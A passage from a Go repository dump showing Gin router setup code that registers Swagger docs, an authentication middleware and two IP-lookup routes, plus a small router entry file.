ginSwagger.WrapHandler(swaggerFiles.Handler)) 21 | } 22 | 23 | // 启用身份验证中间件 24 | router.Use(middleware.Auth()) 25 | 26 | // 无需身份验证的路由 27 | router.GET("/ip", controller.IpNoArgs) 28 | router.GET("/ip/:ip", controller.Ip) 29 | } 30 | -------------------------------------------------------------------------------- /router/main.go: -------------------------------------------------------------------------------- 1 | package router 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | ) 6 | 7 | func SetRouter(router *gin.Engine) { 8 | SetApiRouter(router) 9 | } 10 | --------------------------------------------------------------------------------